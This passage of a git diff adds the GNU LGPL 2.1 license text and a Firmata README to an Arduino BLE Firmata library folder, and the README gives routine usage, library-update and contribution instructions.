A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/README.md b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/README.md new file mode 100755 index 0000000..614ba36 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/README.md @@ -0,0 +1,125 @@ +#Firmata + +Firmata is a protocol for communicating with microcontrollers from software on a host computer. The [protocol](http://firmata.org/wiki/Protocol) can be implemented in firmware on any microcontroller architecture as well as software on any host computer software package. The arduino repository described here is a Firmata library for Arduino and Arduino-compatible devices. See the [firmata wiki](http://firmata.org/wiki/Main_Page) for additional informataion. If you would like to contribute to Firmata, please see the [Contributing](#contributing) section below. + +##Usage + +There are two main models of usage of Firmata. In one model, the author of the Arduino sketch uses the various methods provided by the Firmata library to selectively send and receive data between the Arduino device and the software running on the host computer. For example, a user can send analog data to the host using ``` Firmata.sendAnalog(analogPin, analogRead(analogPin)) ``` or send data packed in a string using ``` Firmata.sendString(stringToSend) ```. See File -> Examples -> Firmata -> AnalogFirmata & EchoString respectively for examples. + +The second and more common model is to load a general purpose sketch called StandardFirmata on the Arduino board and then use the host computer exclusively to interact with the Arduino board. StandardFirmata is located in the Arduino IDE in File -> Examples -> Firmata. + +##Firmata Client Libraries +Most of the time you will be interacting with arduino with a client library on the host computers. Several Firmata client libraries have been implemented in a variety of popular programming languages: + +* procesing + * [https://github.com/firmata/processing] + * [http://funnel.cc] +* python + * [https://github.com/firmata/pyduino] + * [https://github.com/lupeke/python-firmata] + * [https://github.com/tino/pyFirmata] +* perl + * [https://github.com/ntruchsess/perl-firmata] + * [https://github.com/rcaputo/rx-firmata] +* ruby + * [https://github.com/hardbap/firmata] + * [https://github.com/PlasticLizard/rufinol] + * [http://funnel.cc] +* clojure + * [https://github.com/nakkaya/clodiuno] +* javascript + * [https://github.com/jgautier/firmata] + * [http://breakoutjs.com] + * [https://github.com/rwldrn/johnny-five] +* java + * [https://github.com/4ntoine/Firmata] + * [https://github.com/shigeodayo/Javarduino] +* .NET + * [http://www.imagitronics.org/projects/firmatanet/] +* Flash/AS3 + * [http://funnel.cc] + * [http://code.google.com/p/as3glue/] +* PHP + * [https://bitbucket.org/ThomasWeinert/carica-firmata] + +Note: The above libraries may support various versions of the Firmata protocol and therefore may not support all features of the latest Firmata spec nor all arduino and arduino-compatible boards. Refer to the respective projects for details. + +##Updating Firmata in the Arduino IDE (< Arduino 1.5) +The version of firmata in the Arduino IDE contains an outdated version of Firmata. To update Firmata, clone the repo into the location of firmata in the arduino IDE or download the latest [tagged version](https://github.com/firmata/arduino/tags) (stable), rename the folder to "Firmata" and replace the existing Firmata folder in your Ardino application. + +**Mac OSX**: + +```bash +$ rm -r /Applications/Arduino.app/Contents/Resources/Java/libraries/Firmata +$ git clone git@github.com:firmata/arduino.git /Applications/Arduino.app/Contents/Resources/Java/libraries/Firmata +``` + +If you are downloading the latest tagged version of Firmata, rename it to "Firmata" and copy to /Applications/Arduino.app/Contents/Resources/Java/libraries/ overwriting the existing Firmata directory. Right-click (or conrol + click) on the Arduino application and choose "Show Package Contents" and navigate to the libraries directory. + +**Windows**: + +Using the Git Shell application installed with [GitHub for Windows](http://windows.github.com/) (set default shell in options to Git Bash) or other command line based git tool: + +update the path and arduino version as necessary +```bash +$ rm -r c:/Program\ Files/arduino-1.x/libraries/Firmata +$ git clone git@github.com:firmata/arduino.git c:/Program\ Files/arduino-1.x/libraries/Firmata +``` + +Note: If you use GitHub for Windows, you must clone the firmata/arduino repository using the Git Shell application as described above. You can use the Github for Windows GUI only after you have cloned the repository. Drag the Firmata file into the Github for Windows GUI to track it. + +**Linux**: + +update the path and arduino version as necessary +```bash +$ rm -r ~/arduino-1.x/libraries/Firmata +$ git clone git@github.com:firmata/arduino.git ~/arduino-1.x/libraries/Firmata +``` + +##Updating Firmata in the Arduino IDE (>= Arduino 1.5.2) +As of Arduino 1.5.2 and there are separate library directories for the sam and +avr architectures. To update Firmata in Arduino 1.5.2 or higher, follow the +instructions above for pre Arduino 1.5 versions but update the path as follows: + +**Mac OSX**: +``` +/Applications/Arduino.app/Contents/Resources/Java/hardware/arduino/avr/libraries/Firmata +/Applications/Arduino.app/Contents/Resources/Java/hardware/arduino/sam/libraries/Firmata +``` + +**Windows**: +``` +/Program\ Files/arduino-1.5.x/hardware/arduino/avr/libraries/Firmata +/Program\ Files/arduino-1.5.x/hardware/arduino/sam/libraries/Firmata +``` + +**Linux** +``` +~/arduino-1.5.x/hardware/arduino/avr/libraries/Firmata +~/arduino-1.5.x/hardware/arduino/sam/libraries/Firmata +``` + + +##Contributing + +If you discover a bug or would like to propose a new feature, please open a new [issue](https://github.com/firmata/arduino/issues?sort=created&state=open). Due to the limited memory of standard Arduino boards we cannot add every requested feature to StandardFirmata. Requests to add new features to StandardFirmata will be evaluated by the Firmata developers. However it is still possible to add new features to other Firmata implementations (Firmata is a protocol whereas StandardFirmata is just one of many possible implementations). + +To contribute, fork this respository and create a new topic branch for the bug, feature or other existing issue you are addressing. Submit the pull request against the *dev* branch. + +If you would like to contribute but don't have a specific bugfix or new feature to contribute, you can take on an existing issue, see issues labeled "pull-request-encouraged". Add a comment to the issue to express your intent to begin work and/or to get any additional information about the issue. + +You must thorougly test your contributed code. In your pull request, describe tests performed to ensure that no existing code is broken and that any changes maintain backwards compatibility with the existing api. Test on multiple Arduino board variants if possible. We hope to enable some form of automated (or at least semi-automated) testing in the future, but for now any tests will need to be executed manually by the contributor and reviewsers. + +Maintain the existing code style: + +- Indentation is 2 spaces +- Use spaces instead of tabs +- Use camel case for both private and public properties and methods +- Document functions (specific doc style is TBD... for now just be sure to document) +- Insert first block bracket on line following the function definition: + +
void someFunction()
+{
+  // do something
+}
+
diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/LICENSE.txt b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/LICENSE.txt new file mode 100755 index 0000000..77cec6d --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/LICENSE.txt @@ -0,0 +1,458 @@ + + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies 